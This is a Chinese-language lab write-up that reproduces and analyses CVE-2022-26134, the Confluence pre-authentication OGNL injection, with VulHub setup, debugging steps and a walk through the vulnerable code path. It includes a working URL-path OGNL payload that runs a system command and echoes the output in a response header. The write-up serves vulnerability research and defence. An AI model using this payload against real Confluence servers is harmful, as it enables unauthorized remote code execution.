Confluence Pre-Auth RCE 复现与分析
字数 1839 2025-08-06 21:48:45
Confluence Pre-Auth RCE漏洞分析与复现指南
漏洞概述
本漏洞是Confluence中存在的一个OGNL表达式注入漏洞,允许攻击者在未授权的情况下远程执行任意代码。该漏洞利用难度低,影响范围广泛,危害性极高。
漏洞类型:OGNL表达式注入
影响版本:多个Confluence版本
CVE编号:CVE-2022-26134
漏洞等级:高危
环境搭建
使用VulHub搭建漏洞环境
- 下载docker-compose.yml文件:
wget --no-check-certificate https://ghproxy.com/https://raw.githubusercontent.com/vulhub/vulhub/master/confluence/CVE-2022-26134/docker-compose.yml
- 修改docker-compose.yml(针对docker-compose v2.6.0的兼容性问题):
version: '2'
services:
web:
container_name: web
image: vulhub/confluence:7.13.6
ports:
- "8090:8090"
- "5050:5050" # 调试端口
depends_on:
- db
db:
image: postgres:12.8-alpine
container_name: db
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
- 启动环境:
docker-compose up -d
初始化Confluence
- 使用Gmail邮箱注册申请License
- 选择DataCenter版本
- 配置数据库:
- 地址:db
- 用户名:postgres
- 密码:postgres
- 选择"Example Site"进行初始化配置
漏洞复现
漏洞利用Payload
URL编码后的Payload:
http://localhost:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
解码后的Payload(OGNL表达式):
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
简单验证Payload
http://localhost:8090/${3-1}/index.action
URL编码后:
http://localhost:8090/%24%7b3-1%7d/index.action
调试环境配置
远程调试设置
- 进入容器:
docker exec -it <container_id> bash
- 查看Java版本:
/opt/java/openjdk/bin/java --version
- 添加Tomcat调试配置:
cd /opt/atlassian/confluence/bin
sed -i '/export CATALINA_OPTS/iCATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5050 ${CATALINA_OPTS}"' setenv.sh
- 重启容器:
docker restart <container_id>
IDEA配置
- 下载对应版本的Confluence源码
- 将以下目录添加到项目依赖:
- web-INF/atlassian-bundled-plugins
- web-INF/atlassian-bundled-plugins-setup
- web-INF/lib
- 配置远程调试:
- 连接类型:Attach to remote JVM
- 主机:localhost
- 端口:5050
漏洞分析
补丁分析
关键补丁文件:xwork-1.0.3-atlassian-10.jar
与漏洞版本xwork-1.0.3.6.jar对比,主要修改点在ActionChainResult类的execute方法。
漏洞触发流程
-
请求处理流程:
- 请求从Tomcat交给Confluence的
ConfluenceServletDispatcher.class的serviceAction方法 - 根据action遍历interceptors列表
- 对于
index.action有28个拦截器
- 请求从Tomcat交给Confluence的
-
关键拦截器 -
ConfluenceAccessInterceptor:
public String intercept(ActionInvocation actionInvocation) throws Exception {
return ContainerManager.isContainerSetup() && !this.isAccessPermitted(actionInvocation)
? "notpermitted"
: actionInvocation.invoke();
}
-
当用户没有权限访问时返回"notpermitted",触发
ActionChainResult实例创建 -
漏洞触发点:
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(namespace, stack);
String finalActionName = TextParseUtil.translateVariables(actionName, stack);
参数控制分析
ActionChainResult的namespace和actionName来自DefaultActionProxy代理类DefaultActionProxy的属性值来自request.getServletPath()- 关键方法:
getActionName(): 解析request.getServletPath(),匹配最后一个/和最后一个.之间的字符串getNameSpace(): 解析request.getServletPath(),获取最后/之前的字符串
漏洞原理
该漏洞本质上是由于Confluence在处理特定请求时,未对用户输入的OGNL表达式进行有效过滤,导致攻击者可以通过构造特殊的URL路径,将恶意OGNL表达式注入到系统处理流程中,最终实现远程代码执行。
关键点:
- 通过特定路径构造触发
ActionChainResult的execute方法 - 利用
TextParseUtil.translateVariables方法解析OGNL表达式 - 表达式解析过程中未进行有效过滤
后续研究方向
- 寻找其他可能调用
TextParseUtil.translateVariables方法的地方 - 研究高版本Confluence中的OGNL沙箱绕过技术
- 分析不同action和权限设置对漏洞触发的影响
参考链接
- Atlassian官方安全公告:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
- VulHub漏洞环境:https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134